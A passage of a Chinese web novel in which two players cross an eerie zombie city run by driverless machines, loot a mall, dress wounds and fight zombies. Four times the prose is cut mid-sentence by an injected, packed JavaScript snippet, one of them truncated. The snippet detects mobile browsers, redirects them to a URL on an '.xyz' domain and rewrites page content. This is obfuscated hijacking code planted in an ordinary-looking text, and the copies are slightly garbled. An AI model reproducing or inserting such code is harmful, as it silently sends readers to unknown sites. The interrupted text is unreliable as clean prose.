飞行器起飞？ 江显觉得这太过荒谬。一个满是丧尸的城市里还有航班起飞，不是指挥系统出了故障就是丧尸学会开飞船了。 但是眼下似乎没时间考虑这些细节，因为江显必须全神贯注跟着车上的导航记录走。她不太确定如果偏离了路线，这里的规则是否允许她重新找到路。毕竟现在整张地图除了一条线之外一片白茫茫。 他们已经到达停泊港的出口了。这是一个小坡，江显拐弯汇入出港道路，踩下油门一个加速。 “小心！！” “吱”一声尖锐的摩擦声中，江显把刹车踩到了底，俩人同时在巨大的惯性中向前倾去。江显下意识用手挡在自己身体和方向盘之间，整个身体都几乎趴上去了。 一辆大型货车擦着他们变形的车头飞驰而过，但凡江显刚刚反应慢一拍，他们就会被这货真价实的马路杀手结结实实撞上。 “我草！这特么的怎么开车的！”江显没忍住国骂脱口而出。 紧急制动成功避险后她第一件事不是观察被撞得通红的手，而是试探性按压了一下自己上腹部。她很怕副本还没开始，自己就被撞成胰脏破裂。 大型货车在滚滚的尾气里绝尘而去，有害毒气通过空空的车门喷了他们一身，江显却意识到了不对劲。 如果说刚刚那艘起飞的飞船还是个巧合，那么现在这辆货车便足以说明很多问题了。 俩人对视一眼，都从对方眼里看到了惊骇。 ——废弃的城市里，到底是谁在操纵这些交通工具？ “我也不知道是什么情况。”陆寰神色凝重地摇头，“大货车的底盘太高，我刚刚没能看清驾驶员。” 这无疑是一件令人毛骨悚然的事情。如果驾驶飞船和货车的不是玩家，那意味着整座城市里似乎并不只有那些智商低下的丧尸存在。 江显的读属性技能需要在亲眼见到读取对象后才能生效，那个地图相关的显示也需要在封闭建筑里使用。刚刚擦肩而过的到底是什么东西，她对此一无所知。 “先走吧。”陆寰摇摇头。 眼下获得的信息尚且太少，他们尚不能下定论。 他们沿着导航路线，很快离开了偏僻郊区进入城市范围。 “前面就是城市了。”江显看着周围逐渐密集的建筑物说道。 铅灰色的天幕下，楼房都被包裹在银色的金属外壳之中。外形酷似高塔的发电中转站规律地闪烁着幽蓝色光芒，仿佛在以一定的频率呼吸着。 “我还以为到处都会是断垣残壁。“陆寰微微发愣。蓝色光芒被倒车镜反射到他脸上，他漆黑的发丝泛着幽幽蓝色，整个人都被蒙上了一层金属和科技的神秘感。 他说得一点没错，江显也陷入了同样的疑惑。 分明是一座末日之后的城市，可是这里却看不到一点颓败的痕迹，五色灯光和高饱和字牌在楼房的金属层上分裂出无数个影子织构着这里的繁华，一切似乎仍在井井有条地运转着。 除了那些到处游荡的丧尸。 丧尸不懂得区分人行道和机动车道，他们毫无目的地佝偻着身体到处行走，是这一切秩序中唯一突兀的存在。他们在街边旁若无人地聚众斗殴、喧哗吵闹，有一只甚至在看到他们的越野车后兴奋地冲上来打招呼。 江显猛打方向盘避开他。 现在他们前面有一个路口，信号指示灯仍在一片霓虹的背景下持之以恒闪烁，车里落下一片光怪陆离的斑驳色块。 江显不觉得在一座只有丧尸的城市里需要遵守什么道路安全法规，于是她丝毫没有停下的意思，嚣张地迎着头顶长亮的耀眼红色光芒冲了过去。 “嘟嘟——”斜刺里冲出一辆面包车，一边狂闪车灯一边暴躁地猛按喇叭。然后它半边轮子离地整辆车倾侧，以毫厘之差和他们擦肩而过。 这一次江显看清楚了，那俩面包车上，空无一人。 那是真正意义上的“空无一人”，因为她的视线扫过，技能却没有任何提示。 江显觉得寒意正在蔓延上脊椎。 这年代自动驾驶的交通工具自然并不稀奇，但“自由驾驶”的交通工具就有点恐怖了。 她减速靠到路边上停车，然后把他们的越野车切换到了“自动驾驶”模式。下一刻，俩人都重重仰头靠在身后的座位上。突然响起的重金属摇滚乐中，整辆车就要飞速冲出去。 在一切失去控制之前，江显飞快地将模式切换回了手动驾驶重新起步。 现在她可以确定了，有什么东西在操控着整座城市所有的自动化设备，维持着城市的运转。 他们先前看到的飞船起飞、差点撞上的大货车，都无人驾驶也无人搭乘。 整座城市就处于这样一种忙碌又井然有序的荒谬空载状态中。 “是什么在操控着它们？”陆寰有些难以置信，“发电中转站、灯光线路、交通……为什么它们 都保持在末日之前的状态？” “我不知道。”江显眉头紧锁。 “嘟嘟！”许是俩人开得太慢，后侧一辆不知何时出现的敞篷小轿车愤怒地响起了喇叭。它一刻也等不及地进行了超车，又在他们眼前逐渐远去。江显目睹着它气势如虹，外放着整条街都能听到的电音碾过前面两只手舞足蹈闯红灯的丧尸。 丧尸被均匀地涂抹在了街道上，像是黄油刀在上面揩过一层蓝纹奶酪。道路旁边不知打哪儿冲出两台道路环卫作业小车，一边拉起“禁止通行”的反光警戒线一边在欢快的音乐声里往地上喷水。 俩人在这一连串行云流水的操作里目瞪口呆。 “你说这座城市有丧尸安全保护法吗？”江显迅速切道绕路，努力擦了擦眼睛。 “看起来不像。”陆寰说。 江显叹气：“真巧，我们应该也没有。” 他们又拐过俩个路口，汇入了一条宽敞的主路。 “这……” 俩人被眼前的景象惊呆了。 在他们眼前，车辆排满整条道路密集前行，像是川流不息的河。它们像是接受检阅的队列一样缓缓在霓虹灯光和巨幕广告的注视之下行进。 丧尸在街旁尖叫狂欢，虽然暂时不能使用地图全览他们的数量，但江显只是随意扫了眼，眼前就跳出十几条普通怪物和四五条精英怪物提示。 他们摇摇晃晃地穿过马路，被车辆撞倒又压扁；另有一些强壮丧尸跨上车顶，在几乎连成一片的车顶与车顶之间跳跃和疯跑，仿佛是荷叶上跳跃的青蛙。然后他们在车辆移动中被车头挤烂，脑花淌下车窗玻璃又被自动打开的雨刮器完美涂布。 雨刮器有节奏地协奏着，整条道路上都像是在进行一场狂欢节的花车游行。 然后，整条队伍突然停下了。 “我擦，堵车了？”江显把头伸出车窗，外面的车队彻底静止了。 “原来无人城市也会发生加塞的苦恼。”陆寰微微颔首，“看来我们不得不弃车了。” 眼下道路上到处都是丧尸，越野车缺了扇门又动弹不得，车窗一旦被突破俩人都必死无疑。 江显看了眼车上的导航地图，周围的一切依旧像是笼罩在未知的白雾之中，但是他们离目的地已经很近了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496731|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走。”江显扯掉安全带，把背包甩上肩头。 然后几乎是下意识地，她做了个自己也无法解释的动作：她重新把越野车调到了“自动驾驶”模式。 重金属摇滚音乐中，俩人几乎同一时间一左一右推开门，朝着道路一侧的建筑飞奔而去。 一旦到了封闭建筑内部，掩体就会变多，丧尸发现他们的难度直线升高。尽管这同样意味着丧尸有了更多藏身角落，但是江显那个能够查看丧尸分布的技能可以完美规避掉这一点。 “咕噜噜。”一只丧尸发现了他们的踪迹，左右摇晃着朝他们这里追来。他的行为很快得到了更多效仿，短短几秒时间内整条街都沸腾了起来。 俩人疯跑着横穿被堵得水泄不通的街道，剧烈的运动让血腥味在喉咙口弥漫开来，江显觉得自己心脏都要从嗓子眼里蹦出来了。 “小心！”陆寰出声提醒。 他看着一只丧尸从侧面的车顶上朝江显飞扑过来，尖利的爪子眼看就要朝她抓去。可是他的子弹在航站楼全打空了，眼下除了提醒什么也做不了。 江显咬牙将背包肩带从身后扯下来，迎着丧尸扑来的方向狠狠一甩。 “咔擦！”背包瞬间被划拉出一个长长的口子，里面的内容物像肚皮被划破后肠管流出来了。 趁着丧尸爪子还卡在背包里，江显飞快地把这块破烂“盾牌”扔掉，继续朝路边建筑跑去。 他们有惊无险地穿过机动车道，虽然差点被一辆闪着五颜六色灯光在车辆间穿梭的无人摩托车撞倒。终于，他们喘着粗气来到了建筑门前。 “欢迎光临。”机械旋转门在检测到俩人之后启动并礼貌地发出了问候。江显直接无视它的邀请，撞开一旁的小门冲进去。旋转门太慢了，他们现在分秒必争。 在他们身后，一只丧尸追得太急把衣袖卷进了旋转门里。它就这样被夹着在地上拖行了一整圈又被吐出门外。 刚一进门，首先映入眼帘的是高处电子大屏上跳动着的醒目“大降价！今日折扣！”字样。 “这是个大型商场。”陆寰飞速打量四周。 “看来运气不错。”江显在进门一瞬间获得了这座商场楼层地形图以及丧尸分布。 “商场一楼有个大型超市，我们可以晚些去那儿补充食物和水；靠近街道一溜的商铺中有两个装备店，我们首先要去那里补充枪支弹药，条件允许的话再弄两件防护服防止抓伤。”江显飞快地说，“运气不错，整个一楼只有6只丧尸，其中有4只都在超市里，还有2只在另一边的走廊上。我们抓紧时间先去装备店！” 空无一人的商场内灯火通明，这倒是让他们免去了摸黑前行的麻烦。俩人一路畅通无阻，在写有“枪械装备及其他”的店铺前破门而入。 一进门，货架上各式各样的武器立刻吸引了俩人的注意。 “这把短刀不错。”江显说着从上面抽出刀柄在手里玩弄。 刀刃在顶光下泛着冷冷色泽。星际时代冷兵器的杀伤力大打折扣，但在副本中显然还能起些作用。 江显顺手从墙上拿了个行军背包代替刚刚被“开膛剖腹”的那个，把短刀扔了进去。她是个武力废物，防身格斗一概一窍不通，但如果有这样一把武器，和丧尸近身肉搏时无疑多了些生机。 一旁的陆寰站就看着她毫不客气地洗劫这里。 江显顺够了刀和子弹，目光盯上了架子上一把漆黑闪光的狙击枪。 陆寰哭笑不得：“你想尝试那个。” “还是算了。”江显克制住自己躁动的手，“我会被后座力反向击飞的。” 42. 末日迷宫6 他们把店铺仔仔细细翻了一遍，江显终于找到了她心心念念的防护服。 防护服是延展性不错的合金制成，套上去给人极有安全感，和多了个乌龟壳似得。现在江显正试图把后背的卡扣搭上。 陆寰很自然地走过去帮她扣。 他弯下腰偏过头，江显随意扎的低马尾落在了他脸颊上，于是他把她落下的长发拢到肩前去，然后开始固定卡扣。 咔哒咔哒几声动静里，一长溜的卡扣都锁上了。 “还挺熟练。”江显随口调侃道，“看你这样子是学生时代孰能生巧了。” “没有。”陆寰矢口否认。 “没有？！”江显忍不了了，“这也是你‘无害的伪装’的一部分吗？” “真的没有。”陆寰很认真地说，“在副本里遇到你之前，我一直过着一种……很平淡而冗长的生活。” 江显被他这过于郑重的解释搞得手足无措，为了掩饰自己的尴尬，她转过身拍在他肩上：“转过去。” 陆寰一头雾水。 “转过去，愣什么愣啊，你不要扣的？” 陆寰“噢”了一声，老老实实背过身去了。江显一肚子气没处撒，手指使足劲儿把翘起的卡扣往槽里摁，自己反倒先龇牙咧嘴手疼上了。 江显觉得这人太奇怪，上一个副本刚开始时一副纯良无害的样子，结果第一天晚上俩人拿枪互相威胁着确认身份就让她意识到他并非表面那样单纯。 江显觉得他似乎一直套着件白外套，看不见，摸得着，这让她手里痒痒恨不能把它扒下来。 “别糊弄我。”她笑道，“就你这副皮相，从小到大都没小姑娘示好的？我不信。” “没有。”陆寰边摇头边微笑，“真的。” 江显心说这微笑也太没说服力了。 “行了行了我明白了，你只是没有在她们中遇到喜欢的。” “那你呢？”陆寰突然问，“你以前，有喜欢的人吗？” 江显今天不知自己是哪根筋抽了，存心想气他，于是憋笑道：“有啊，可多了。每一个我都可以给你详细描述出来呢。” 陆寰重复着她的话：“喜欢上很多人？” 说着他露出副思考的神情，也不知是在思索这句话的含义还是在甄别这句话的真假。 江显以为他会露出什么更加精彩的表情，谁知他就此打住了，转过头恢复微笑对她说：“扣好了吗？” 当然是早就扣好了，江显都愣怔着盯着他背看好一会儿了。 陆寰的背部线条劲瘦利落，显得衣服都有些空荡荡。登陆副本时的那场逃跑让他衬衫上扎进许多玻璃渣子，到处都是破破烂烂的洞口和血痕，这副战损的模样更是让人胆战心惊。 “你像个人机。”江显哼笑了一声别过脸，“连什么时候应该笑，笑容的弧度是多少都是设置好的。” “什么？”陆寰问。 “没什么。我是说，再休整一会儿就去那个超市，扫荡点酒精绷带再生药剂之类的东西后，找个安全的地方把你伤处理一下。”江显心虚地摸摸鼻子。 俩人又休息了片刻，朝着超市而去。 “超市里的4只丧尸两只在食品区，两只在家具区。”江显说道，“我们先去解决食品区的，然后是家具区。”江显一边用技能看着分布图一边说道。 俩人直奔食品区，猛地从一个货架后冒出头来，甚至吓得那俩只丧尸尖声惊叫。有了装备的加持，俩人火力全开，轻而易举把两只僵尸放倒。 然后他们故技重施，又清理了食品区的丧尸。 短短时间内他们又收集了4个残片。刚刚爆发的战斗让食品区的零食碎了一地，到处都是食品包装袋的残骸。现在扫地机器人正滑行过来清理地面，不耐烦的提示音让人觉得它是一场疯狂派对后的清洁工。 再然后俩个机械手从屋顶上伸下来，把缺损的商品补充完。 江显眉头微蹙，末日后居然还能补充商品？是超市有存货，还是……整座城市的供应链根本没断？难道就好像交通线路仍在有条不紊地运转一样，食品加工厂、运输车……一切的设施都仍在维持着运转？ 难道说城市里真的有什么在指挥着这一切？ 江显被自己的想法吓了一跳。 现在整个超市范围内肃清完毕，江显把入口处的铁门锁上，暂时感觉安全了不少。 在自动购物小车的帮助下，他们装了满满一车的资源，并丝毫没有强闯出口的打算，而是毫不客气地把它运到了家具区。 江显生无可恋地瘫在挂着明晃晃“请勿就坐”大字的沙发上，经历了这一整路奔波逃亡之后，他们终于能够有个地方歇歇脚了。 陆寰突然扶着身旁的货架一趔趄，表情吃痛。看样子是一路的剧烈运动让他尚未处理的伤口开裂了。 他手臂和身上的伤流了很多血，他当时只来得及草草抹去，现在都已经干涸了。江显看他这样子实在有些惨不忍睹，于是让他把防护服脱了给他处理伤口。 “衬衫也脱了，都成乞丐潮流破洞款了。”她说。 陆寰皱着眉把衬衫也褪了，布料和他的伤口黏在了一起，撕开时他禁不住闷哼一声。 现在他上半身打着赤膊，冷白的皮肤上沾着血痂。先前的摸爬滚打和猝然撞击给他后背留下了几处擦伤和淤青，修长的胳膊上还嵌着玻璃碎片。 江显飞速瞥了眼，开始往镊子上倒酒精冲洗。镊子也只是她刚刚逛超市时在生活用品区偶然发现的，正常超市里通常不大会有医用镊子，她怀疑它真正的作用是挖鼻子的…………不过现在条件有限，又有再生药剂和抑菌药膏兜底，凑活着问题应该也不大。 “有点深。”江显用镊子探了探说，“不过没怎么损伤到筋膜和肌肉。我给你取出来，因为止痛剂有成瘾性所以超市无法获取，你可能会痛。” 陆寰轻微地点了下头，示意他准备好了。 然后他弯着腰趴到靠背上，整张脸都埋进了沙发。 “酒精消毒，盐水冲洗，忍一下。”江显说着把从恒温架上拿的盐水一股脑儿灌洗到伤口处，然后又不放心地用棉球沾了酒精涂。 陆寰抖了下，双手青筋暴起揪在沙发上。副本里的痛感显然是和现实里没差的。 江显拿起镊子把碎玻璃从皮肉翻滚处一片一片夹出来。不幸中的万幸，表面上看起来再如何惨兮兮，都只是些皮外伤，没有伤到血管。把异物取出来清理干净、再生药剂一涂就没事了。 最后一块碎片取出来后，她能够感受到陆寰在她手里蓦地跳了一下，然后渐渐安静了下来。 江显给他上了药，伤口以肉眼可见的速度在收缩和结痂，没多久陆寰背上就布满了鲜红的血凝块。她最后又用纱布沾盐水清洁了俩遍，总算可以收尾了。 “谢谢。”陆寰直起身，依旧是那副带笑的神情。但他漆黑的发都被冷汗浸湿了，凌乱地散在额前。 江显从自动购物小车里拿出一件刚刚在服装区零元购的衣服扔过去：“先披着暴露伤口，别又黏上了。” 那同样是一件衬衫，江显拿的时候就是本着和他风格相差不大的想法的。陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江显坚信副本一定不会平白无故留这么大一个bug，其中一定有某些细节是需要她深究的。 她纵观整张地图，寻找那些已经被点亮的区域，惊讶地发现他们身处的商业区附近竟然有一大片被点亮的区域。 江显和陆寰的碎片还没有兑换过，正常人也不会在一片空白地图上开盲盒点亮远处部分。唯一的解释是在他们附近有一队玩家正在活动，看区域大小他们杀死的丧尸还不少。 幸好这个副本是禁止抢夺他人碎片进行兑换的，这在最大程度上避免了玩家自相残杀，使得团结联手更加有可能。这么看来，至少目前为止副本还并没有明显的恶意。 江显思索片刻，用自己的碎片兑换了一块附近区域的地图，和另一队玩家的挨得很近。 “你在向他们发出组队邀请？”同时看着公共地图的陆寰立刻发现了变化，猜到了江显的想法。 “是啊。”江显说，“如果他们也有结盟的想法，又足够聪明，以他们的实力自然会主动来找我们。” 她这么说着时，已经飞速给自己手臂上的伤口也做了处理。然后她甩掉鞋子在家具区那张大床上蜷缩起来：“俩小时后叫醒我，后半夜我守。谅你是伤员，守夜时长你2我3。” 还没等陆寰来得及说些什么，她就阖了眼。看得出来她是真累了。 现在空气安静了，只剩陆寰托着下巴坐在沙发上。 他怔怔地看着不远处那张大床，双眼似乎失了焦。 江显休息时顺手扯了被子盖在身上，整个人都像是裹在个蚕蛹里，只露出脑袋。 那个年长的同族让他跟着她，永远和她站在一边，不要和她兵戈相向。他不知道其中原因，只是习惯性地听从了指示。 现在陆寰情不自禁地抬起手，手指在他眼前把她的被子一整个捏住了，仿佛轻轻一抖，她就会变成蝴蝶破茧飞向他的指尖。 43. 末日迷宫7 江显这一觉睡得乱七八糟，梦魇一个接一个缠身压得她喘不过气，最后还是被“滋滋滋”的电流声吵醒的。 “什么东西？”她一骨碌爬起来环顾四周。可是就和先前在车里如出一辙，她找不到确切声源。 “不知道。”沙发上坐着的陆寰也困惑地摇头。 他的状况看起来比先前稍微好些，至少脸色不再苍白，身上也没有血糊糊的惨状。 陆寰说：“我刚刚关注了一下，声音是从超市的广播里发出的。” “这个城市有什么大范围的广播设施吗？”江显对此耿耿于怀。 超市广播只是负责接收和发出声音，发送信号的一定另有其物。 先前越野车里的那一次还可以用意外来解释，但是现在这声音又出现了，显然这并非什么偶然。 但就算是真有什么东西能够向整个城市进行广播，又是谁在使用它呢？难道它也和整座城市的其他设备一样能够自动运行？ 正在这时—— 【叮！】 【恭喜您收到一条信息提示！】 【玩家猜想正确！】 【城市深处有一台能够全方位无死角覆盖的广播。】 【它让孤立的大陆得以意识到彼此存在，让形影单只的航船彼此连结】 “广播？”江显疑惑地问，“‘孤立的大陆’，‘形影单只的航船’，是说使用广播能够让玩家互通消息进行联络？” “我觉得是这个意思。”陆寰说着去看地图，“只是现在我们解锁的部分还太少，无法得知城市里到底有几个分区。” 显然，地图在这个副本里是一切的关键。 看来当务之急还得是先解锁地图。而收集碎片的前提就是多杀丧尸。 江显沉吟：“只是……广播在我们来到这里时已经响了两次，这难道代表着已经有玩家抵达了广播台并试图启动？” “这解释不通。如果真有人成功抵达，他们一定会在广播里告知全体玩家。”陆寰反驳。 俩人一时都没有头绪。江显打开任务面板看了眼倒计时，惊觉自己睡了5个小时。 “你没有叫醒我。”她略显恼怒，“长时间不睡觉，体力和反应都会下降。这会影响接下来和丧尸的战斗状态。” “你太累了。”陆寰说，“你需要充分休息。” “也不知道是谁把自己伤得和个泄漏的沙包一样。”江显“反唇相讥”。 “你刚刚做噩梦了。”陆寰眨着眼睛，“你梦见了你的父母，你让他们不要离开。” “然后呢？”江显问。 梦总是遗忘得快。明明才过去几分钟，梦里的一切她都记不清了。 “然后，你还梦到了那颗‘小行星’。”陆寰垂下眼，浓黑的眼睫覆了下眼睑，“你说自己很感谢他，希望他不要突然消失。” 江显说不清那是种什么神情。 落寞，惆怅？可是他干嘛要为这种事情感到情绪低落。 “听起来真有趣。”她掀开被子重新踩在地上，“明明副本里的‘我’只是个大脑的意识，就像是个梦一样。现在我居然在梦里做梦。” “就像那颗‘小行星’也只是你的一个梦一样。”陆寰说，“你明明知道他是虚构的——你自己都说他大概率是你父母的某位同事。” “知道他是虚构的和宁愿相信他的存在并不矛盾。”江显说道，“就像我们明明知道游戏是虚假的，却依然会对它爱不释手。就像我们知道圣诞老人是个童话，却依然会在床头挂好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538807|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袜子。” 她不想在这个话题上争辩了，走过去掀开他披着的衣服查看伤势情况。 伤口已然结痂，部分血痂脱落，露出下面新生的组织。 “愈合得不错。”江显重新把衣服搭上他肩头，“没及时醒来算我过失，现在快休息吧，不然疲劳作战我们都得完蛋。” 然后她便走到旁边去了。 陆寰点点头听话地闭了眼，在沙发上靠着扶手假寐。 但他的思维并未陷入梦境，仍在活跃地运转着。 他“看”到江显又走悄悄走回来，在他眼前晃了晃手掌，似乎是在确认是否真的睡着。 陆寰心虚地控制着鼻息，做出一副安然入睡规律呼吸的样子。 在他头顶，江显就这样俯身端详着他，眼睛像是某种射线一从上到下扫描了一遍，这让他疑心是不是自己哪里不太正常被她看出来了。 然后他“看”到她朝他慢慢伸出手，指尖触到他发丝的一瞬又闪电般地缩回。 他看起来很像是什么肮脏的病原体吗？陆寰十分疑惑。 但是这里的一切分明都是电磁活动的具象化，就像是一幅宏大而浩瀚的沙画，海水一冲就无影无踪了。当她真正脱离副本后或许就将这里的所有记忆都抛掷脑后了。 然后他“看”到江显真正走远了，坐到一旁的椅子上吃薯片。她就那样一片一片往嘴里塞，显然是被上个副本的压缩饼干憋坏了。 江显吃着吃着，谁知突然朝他这里扭过头，那眼神让他害怕，几乎以为自己的“窥视”被发现了。 “哼，祸水。”江显抿着嘴嘀咕了一句，后面的话被薯片塞住了。 陆寰：？？？ 他只是在睡觉而已，他到底又做错了什么？ 44. 末日迷宫8 陆寰醒来时，看到江显正在收拾她那从装备店顺来的军用背包。 她把压缩食品和营养液分门别类装好放进包里，又给手枪重新填满子弹。 “我歇了多久？”陆寰问。 “才两小时。现在还是凌晨1点。”江显一边说着一边给自己带护腕和防护手套。防护衣只能保护身体躯干，接下来他们肯定还有不少恶战，还是全方位覆盖来得保险。 “后续计划是什么？”陆寰起身问。 “清扫干净商场内部的丧尸。尽量收集足够多的碎片。这是第一步。”江显说，“如果运气好的话，在完成清扫前往下一个地点之前我们能和另一队玩家会面。” “就是你说的解锁附近区域的玩家？”陆寰打开公共地图，“他们很厉害，这段时间里又收集了快一百的碎片。” “是的。这说明他们人数很多，或者战斗力很强。”江显说，“我更倾向于是后者。” 这个副本目前来看是提倡玩家之间相互合作的。如此一来多人行动无疑具有更大的安全性。 “后续计划是和他们合作刷怪，迅速解锁更多区域并应用你的分析能力解谜？”陆寰问。 “目前是这样的。”江显说，“我还是很在意那两次广播的事情，我猜这个城市应该会有广播电台之类的区域，我们得尽快前去探查。” “此外，我总觉得这次的任务不像是表面上‘搜集地图’那样简单。”江显说，“这座空无一人却又异常忙碌的城市给我一种极其奇怪的感觉。” “副本不会提供无用线索，部分解谜必然会与这些信息相关，所以我们或许还得弄清楚这座城市发生过什么。而如果需要了解城市历史，我们势必得去一趟城市图书馆。” “有道理，那你打算先去哪里？我猜是图书馆。”陆寰说，“毕竟如果在图书馆有所发现，之后正好能去广播电台进行广播，把情报分享给其他玩家。” “我看起来像是很热心的人吗？”江显问。 “那到不是，这个副本没有可供你敲打的空气墙。”陆寰微笑着说，“我再次为先前对你性格的曲解表示道歉——如果你指的是上一个副本那一次的话。” 江显冷哼一声，懒得理他。 “对了，还有一点我也很在意。”江显又补充道，“你看过地图碎片兑换规则了吧，按它那种计算方法，只要杀死最终大boss，就能获得通关整个副本的碎片数量。这极其不合理。” “以上一个副本的模式来看，最终boss是必然要解决掉的，但如此一来的话如果全副本玩家都联手刷怪把最终boss杀死了，那之前所有小怪的碎片不都浪费掉了？这数据溢出太夸张了。” “你是觉得，关于地图收集和最终boss的说明其实暗藏玄机，比如说有文字游戏？”陆寰准确地捕捉到了她的意思。 “我考虑过这次的副本会不会和上次那样也是在最后关头融合，而数量‘5000’是每个未融合副本所要求的碎片数。”江显叹了口气。 “可是这同样说不通，这次地图上尚未发现空气墙、是完整的城市、我们还能碰到其他玩家，甚至系统都说了副本地图是共享的。” “先别想太多了。”陆寰似乎是在安慰她，“总之先清理这座商场里的丧尸吧。” 俩人执行力极高，几分钟之后就解决了一楼另一端走廊里的那两只游荡丧尸。 “从最高层开始？”陆寰问。 “好主意。”江显赞同。 商场一共四层，二三两层是服装饰品区，第四层是餐饮区，第一层大厅的正上方每一层都挑空，走廊在其周围形成一个环状。在这种地形下，高层无疑占据了地理优势，可以在环形走廊处居高临下狙击下方的丧尸。 现在他们沿着楼梯直接抵达了四楼的环形走廊，江显在一瞬间获得了这一层的平面图和丧尸分布。 “这一层有足足45只丧尸呢。”她挑眉，“这下有的打了。” “他们在这里聚集着吃宵夜吗？”陆寰说。 “这我不知道。”江显把手枪牢牢握住，又检查了一下挂在腰间的短刀，“但我很确信，如果我们一不小心，就会变成宵夜。” 她一边说着，一边在一家装修风格很未来科技的火锅店门口破门而入。 “这……”紧随其后的陆寰呆住了。 进门的一瞬间，江显甚至产生了一种“这里很热闹”的错觉。 就见屋顶蓝紫色光调之中飘着火一样的红色丝带，桌子上翻腾着的红油汤底正在不停冒着热气。自动服务小车对着空无一人的桌子把生肉和蔬菜一波波下进汤里，又很贴心地捞出来雨露均沾分给每个碗。 如果不是有能看到所有人物的作弊技能傍身，江显一定会怀疑这里在闹鬼。 然后她眼睁睁地看着那小车在等了5秒后，把刚分好的菜倒进垃圾桶，仿佛是在倒剩菜，然后又赶着去涮下一波了。 太诡异了，实在是太诡异了！ 但现下江显显然顾不上这些机器邪教一样的举动。他们的闯入引起了角落里几个丧尸的注意，正目露凶光地朝她扑来！ 江显冷静地朝他们开枪，这种距离她不用太过担心准头，她的技能又能纵观全局防止被从后背偷袭。她和陆寰俩人默契地一人负责一个方向，勉强能够覆盖所有方向进行攻击。 “嗖！”一只丧尸忽地从侧面窜过来，眼看就要挠到她身上。 江显来不及再上子弹，只能闪身躲开。然后她趁着这个机会从丧尸背面补刀。她带了防护手套有恃无恐，直接上手掐住丧尸的脖子，另一手拔出短刀，手起刀落，丧尸的大头滚进了火锅汤底里，溅起一片红艳艳的汤渍。 “噫！”自动服务小车很嫌弃地叫了一声，眼疾手快地把整锅汤底都端走了。显然在它眼中丧尸会严重影响店铺的食物安全。 没多久，这间店里的丧尸全都化为了他们的积分。 自动服务小车重新端着一锅汤底走来了，然后它又按照预设的程序涮菜-夹菜-倒菜，往复循环。江显不知从何而来一种荒诞的想法，刚刚那一声“噫”让她突然觉得，这辆小车好像是有情感的。 俩人迅速解决了火锅店，前往下一个店铺。 短短十分钟内，他们配合完美，利落地干掉了整层大半的丧尸。 “奇怪。”江显看着她的分布图说道，“我怎么感觉，这一层的两只精英怪物，都在朝我们靠过来？”她一直在关注那俩个大型彩色圆点的动向，此刻自然警觉万分。 “怎么样了？”陆寰问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572700|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快跑！”江显神情凝重，“他们的确是冲我们来的，有一只正试图抄近路前后夹击！” 如果是一只一只精英怪物分别击破，他们尚且有胜算；但倘若一下面对俩个，他们就无异于是以卵击石了。 俩人当机立断改变路线，寻找最近的扶梯往下面一层去。 在他们身后，地面开始频频震动，没多久一个壮硕的大家伙就摇头晃脑地追着他们而来。 那是一只【强壮的丧尸】，身体肌肉骨骼对于丧尸来说都太发达了些，手上抄着根不知从哪儿弄的铁管，一路敲击着地面跑来。 俩人此刻已经搭上了自动扶梯，阶梯自动加速下行，视野里丧尸庞大的身体被一级一级展开的台阶淹没。 江显刚想长舒一口气，却见三楼和扶梯连接的平台上也有丧尸在冒出：第一只，然后是第二只……他们就眼巴巴地盯着从扶梯上下行的俩人，像是在等待着天上掉馅饼的美事。 “丧尸就像是蟑螂，出现一只时候已经有一窝了。”江显评价道。 她从腰上取下刚补充的爆炸器朝三楼平台扔过去。火光冒起，弥漫的烟雾里平台上那些群聚的丧尸被炸成灰烬。 但是烟雾中那些会动的影子不减反增，攒动的“人”头正在愈发密集。江显想不明白他们何时捅了马蜂窝，竟引得如此多丧尸同仇敌忾对他们围追堵截。 “往上吧。”陆寰当机立断转身，逆着扶梯的方向朝四楼奔跑，“我们只能祈祷四楼那两只精英怪物没追上就扭头回原本位置了。” 他们才刚刚往上爬几级，就听到身后一团喧杂的叫声，显然有数只丧尸不甘心到嘴的馅饼飞走，正沿着扶梯蜂拥追上来。他们爪子划过台阶的声响尖锐刺耳，醉鬼一样的步伐踏得扶梯不堪重负“咚咚咚”作响。 俩人一步两阶地朝上奔跑着，逆行减缓了他们的速度，幸好对于那群丧尸来说亦是如此。 “上下扶梯注意安全，请勿在扶梯上逆行、追逐打闹、低头玩光脑。”商场内甜美女声非常贴心地提示。 